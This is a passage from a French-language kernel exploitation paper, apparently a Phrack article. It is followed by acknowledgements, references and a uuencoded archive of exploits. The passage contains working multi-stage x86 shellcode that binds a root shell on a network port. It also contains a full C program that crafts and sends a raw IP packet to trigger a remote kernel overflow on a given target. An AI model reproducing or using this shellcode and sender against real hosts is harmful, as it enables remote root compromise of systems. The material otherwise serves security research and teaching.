"\x88\x06" // mov %al,(%esi)
"\x46" // inc %esi
"\x41" // inc %ecx
"\x80\x39\xbb" // cmpb $0xbb,(%ecx)
"\x75\xf5" // jne 5a <search+0x32>
/* trouve et décrémente le compteur preempt (32) */
"\x89\xe0" // mov %esp,%eax
"\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax
"\x83\xc0\x04" // add $0x4,%eax
"\x8b\x18" // mov (%eax),%ebx
"\x83\xfb\xff" // cmp $0xffffffff,%ebx
"\x74\x0a" // je 804851e <end>
"\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx
"\x74\x02" // je 804851e <end>
"\xeb\xec" // jmp 804850a <scan>
"\xff\x48\xfc" // decl 0xfffffffc(%eax)
/* stack frame recovery */
"\x58" // pop %eax
"\x83\x3c\x24\x02" // cmpl $0x2,(%esp)
"\x75\xf9" // jne 8048330 <do_unroll>
"\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp)
"\x75\xf2" // jne 8048330 <do_unroll>
"\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp)
"\x75\xeb" // jne 8048330 <do_unroll>
"\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp
"\x8b\x04\x24" // mov (%esp),%eax
"\x89\xc3" // mov %eax,%ebx
"\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax
"\x40" // inc %eax
"\x8a\x18" // mov (%eax),%bl
"\x80\xfb\xc3" // cmp $0xc3,%bl
"\x75\xf8" // jne 8048351 <do_unroll+0x21>
"\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax)
"\x74\xf2" // je 8048351 <do_unroll+0x21>
"\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax)
"\x74\xec" // je 8048351 <do_unroll+0x21>
"\x31\xc9" // xor %ecx,%ecx
"\x48" // dec %eax
"\x8a\x18" // mov (%eax),%bl
"\x80\xe3\xf0" // and $0xf0,%bl
"\x80\xfb\x50" // cmp $0x50,%bl
"\x75\x03" // jne 8048375 <do_unroll+0x45>
"\x41" // inc %ecx
"\xeb\xf2" // jmp 8048367 <do_unroll+0x37>
"\x40" // inc %eax
"\x89\xc6" // mov %eax,%esi
"\x31\xc0" // xor %eax,%eax
"\xb0\x04" // mov $0x4,%al
"\xf7\xe1" // mul %ecx
"\x29\xc4" // sub %eax,%esp
"\x31\xc0" // xor %eax,%eax
"\xff\xe6" // jmp *%esi
/* fin du stack frame recovery */
/* stage-2 shellcode */
"\xaa" // promoteur stage-2
"\xe8\x00\x00\x00\x00" // call 8 <func+0x8>
"\x59" // pop %ecx
"\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx
"\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx
"\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax
"\x89\x03" // mov %eax,(%ebx)
"\x8b\x74\x24\x38" // mov 0x38(%esp),%esi
"\x89\x74\x24\x2c" // mov %esi,0x2c(%esp)
"\x31\xc0" // xor %eax,%eax
"\xb0\x21" // mov $0x21,%al
"\x40" // inc %eax
"\x41" // inc %ecx
"\x38\x01" // cmp %al,(%ecx)
"\x75\xfb" // jne 2a <func+0x2a>
"\x41" // inc %ecx
"\x8a\x19" // mov (%ecx),%bl
"\x88\x1e" // mov %bl,(%esi)
"\x41" // inc %ecx
"\x46" // inc %esi
"\x38\x01" // cmp %al,(%ecx)
"\x75\xf6" // jne 30 <func+0x30>
"\xc3" // ret
"\x22" // promoteur stage-3 start
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x4e\x20" // push word 8270
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\xef" // mov al, 239
"\xf6\xd0" // not al
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\x43" // inc ebx
"\x43" // inc ebx
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\xf4" // mov al, 244
"\xf6\xd0" // not al
"\xcd\x80" // int 80h
"\x22" // terminaison stage-3
"\xbb"; // terminaison stage-2
/* fin du shellcode */
struct twsk_chunk
{
int type;
char buff[12];
};
struct twsk
{
int chunk_num;
struct twsk_chunk chunk[0];
};
void fatal_perror(const char *issue)
{
perror("issue");
exit(1);
}
void fatal(const char *issue)
{
perror("issue");
exit(1);
}
/* packet IP cheksum */
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return ~sum;
}
void prepare_packet(char *buffer)
{
unsigned char *ptr = (unsigned char *)buffer;;
unsigned int i;
unsigned int left;
left = TWSK_PACKET_LEN - sizeof(struct twsk) - sizeof(struct iphdr);
left -= SIZE_JMP;
left -= sizeof(shellcode)-1;
ptr += (sizeof(struct twsk)+sizeof(struct iphdr));
memset(ptr, 0x00, TWSK_PACKET_LEN);
memcpy(ptr, shellcode, sizeof(shellcode)-1); /* shellcode must be 4
bytes aligned */
ptr += sizeof(shellcode)-1;
for(i=1; i < left/4; i++, ptr+=4)
*((unsigned int *)ptr) = DEFAULT_VSYSCALL_RET;
*((unsigned int *)ptr) = DEFAULT_VSYSCALL_JMP;
ptr+=4;
printf("buffer=%p, ptr=%p\n", buffer, ptr);
strcpy(ptr, JMP); /* jmp -500 */
}
int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
int one = 1;
const int *val = &one;
printf("shellcode size: %d\n", sizeof(shellcode)-1);
char *buffer = malloc(TWSK_PACKET_LEN);
if(!buffer)
fatal_perror("malloc");
prepare_packet(buffer);
struct iphdr *ip = (struct iphdr *) buffer;
struct twsk *twsk = (struct twsk *) (buffer + sizeof(struct
iphdr));
if(argc < 2)
{
printf("Usage: ./sendtwsk ip");
exit(-1);
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0)
fatal_perror("socket");
sin.sin_family = AF_INET;
sin.sin_port = htons(12345);
sin.sin_addr.s_addr = inet_addr(argv[1]);
/* ip packet */
ip->ihl = 5;
ip->version = 4;
ip->tos = 16;
ip->tot_len = TWSK_PACKET_LEN;
ip->id = htons(12345);
ip->ttl = 64;
ip->protocol = TWSK_PROTO;
ip->saddr = inet_addr("192.168.200.1");
ip->daddr = inet_addr(argv[1]);
twsk->chunk_num = NEGATIVE_CHUNK_NUM;
ip->check = csum((unsigned short *) buffer, TWSK_PACKET_LEN);
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
fatal_perror("setsockopt");
if (sendto(sock, buffer, ip->tot_len, 0, (struct sockaddr *) &sin,
sizeof(sin)) < 0)
fatal_perror("sendto");
return 0;
}
< / >
------[ 4 - Mots de la fin
Avec la discussion sur l'exploitation à distance se termine ce papier. Nous
avons présenté différents scénarios et différentes techniques
d'exploitation et des "notes" que nous espérons qu'elles vous soient
utiles. Ce papier était une sorte de récapitulatif d'approches plus
générales que nous utilisons en ces années d'"exploitation noyau".
Comme on l'a dit au début du papier, le noyau est une grosse et large bête,
qui nous offre beaucoup de points d'"attaque" et qui a des contraintes plus
sévères que l'exploitation en mode utilisateur. C'est aussi "relativement
nouveau" et des améliorations (et des bugs logiques ou pas) arrivent. Dans
le même temps, de nouvelles contre-mesures arrivent pour rendre
l'"exploitation noyau" de plus en plus difficile.
Le premier brouillon de ce papier a été écrit il y a quelques mois, nous
nous excusons si quelques informations présentées ici sont périmées (ou
déjà présentées ailleur et mal référencées par la biblio). Nous avons
essayé d'ajouter une paire de commentaire dans le texte pour vous montrer
les changements les plus récents.
Donc, voici la fin, il reste juste assez de temps pour les remerciements.
Merci de nous avoir lu jusqu'ici, nous espérons que vous avez apprécié le
travail.
Un clin d'oeil de dernière minute va aux gens de bitsec, qui on fait une
chouette présentation sur l'exploitation noyau à la conférence blackhat
[24]. Allez voir leur papiers/exploits pour avoir des exemples et une
couverture des systèmes *BSD et windows.
Salutations et remerciements, par ordre aléatoire, à :
sgrakkyu: darklady(:*), HTB, risk (Arxlab), recidjvo (pour les trucs de
netfilter), vecna (pour être vecna:)).
twiz: lmbdwr, ga, sd, karl, cmn, christer, koba, smaster, les gens de
#dnerds & #elfdev pour leurs discussions, corrections et commentaires et
juste pour les conversations tard dans la soirée/nuit.
Un dernier clin d'oeil à akira, sanka, metal_militia et yhly pour avoir
rendu l'événement du lundi un événement _génial_ [et pour toutes les bières
offertes :-) ].
twiz & sgrakkyu : darkangel et tous les gens d'antifork/s0ftpj. C'est
toujours un grand plaisir de travailler avec vous.
------[ 5 - Références
[1] - Intel Architecture Reference Manuals
http://www.intel.com/products/processor/manuals/index.htm
[2] - SPARC V9 Architecture
http://www.sparc.com/standards/SPARCV9.pdf
[3] - AMD64 Reference Manuals
http://www.amd.com/it-it/Processors/
ProductInformation/0,,30_118_4699_875^7044,00.html
[4] - MCAST_MSFILTER iSEC's advisory
http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt
[5] - sendmsg local buffer overflow
http://www.securityfocus.com/bid/14785
[6] - kad, "Handling Interrupt Descriptor Table for fun and profit"
http://www.phrack.org/archives/59/p59-0x04.txt
[7] - iSEC Security Research
http://www.isec.pl
[8] - Jeff Bonwick, "The Slab Allocator: An Object-Caching Kernel Memory
Allocator"
http://www.usenix.org/publications/library/proceedings/
bos94/bonwick.html
[9] - Daniel P. Bovet & Marco Cesati
"Understanding the Linux Kernel", 3rd Edition [ISBN 0-596-00565-2]
[10] - Richard McDougall and Jim Mauro
"Solaris Internals" , 2nd Edition [ISBN 0-13-148209-2]
[11] - Mel Gorman, "Linux VM Documentation"
http://www.skynet.ie/~mel/projects/vm/
[12] - sd, krad exploit for sys_epoll vulnerability
http://www.securiteam.com/exploits/5VP0N0UF5U.html
[13] - noir, "Smashing The Kernel Stack For Fun And Profit"
[VO] http://www.phrack.org/archives/60/p60-0x06.txt
[VF] http://www.arsouyes.org/info/phrack60/phrack60_0x06.txt
[14] - UltraSPARC User's Manuals
http://www.sun.com/processors/documentation.html
[15] - pr1, "Exploiting SPARC Buffer Overflow vulnerabilities"
http://www.emsi.it.pl/sploits/solaris/sparcoverflow.html
[16] - horizon, Defeating Solaris/SPARC Non-Executable Stack Protection
http://www.emsi.it.pl/sploits/solaris/horizon.html
[17] - Gavin Maltby's Sun Weblog, "SPARC System Calls"
http://blogs.sun.com/gavinm/entry/sparc_system_calls
[18] - PaX project
http://pax.grsecurity.net
[19] - Solar Designer, "Getting around non-executable stack (and fix)"
http://insecure.org/sploits/linux.libc.return.lpr.sploit.html
[20] - Sebastian Krahmer, "x86-64 buffer overflow exploits and the
borrowed code chunks exploitation technique"
http://www.suse.de/~krahmer/no-nx.pdf
[21] - Laurent BUTTI, Jerome RAZNIEWSKI & Julien TINNES
"Madwifi SIOCGIWSCAN buffer overflow"
http://lists.grok.org.uk/pipermail/full-disclosure/2006-December
/051176.html
[22] - sgrakkyu, "madwifi linux remote kernel exploit"
http://www.milw0rm.com/exploits/3389
[23] - sd & devik, "Linux on-the-fly kernel patching without LKM"
http://www.phrack.org/archives/58/p58-0x07
[24] - Joel Eriksson, Karl Janmar & Christer Oberg, "Kernel Wars"
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar
/Whitepaper/bh-eu-07-eriksson-WP.pdf
------[ 6 - Sources - drivers and exploits [stuff.tgz]
begin 644 stuff.tgz
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
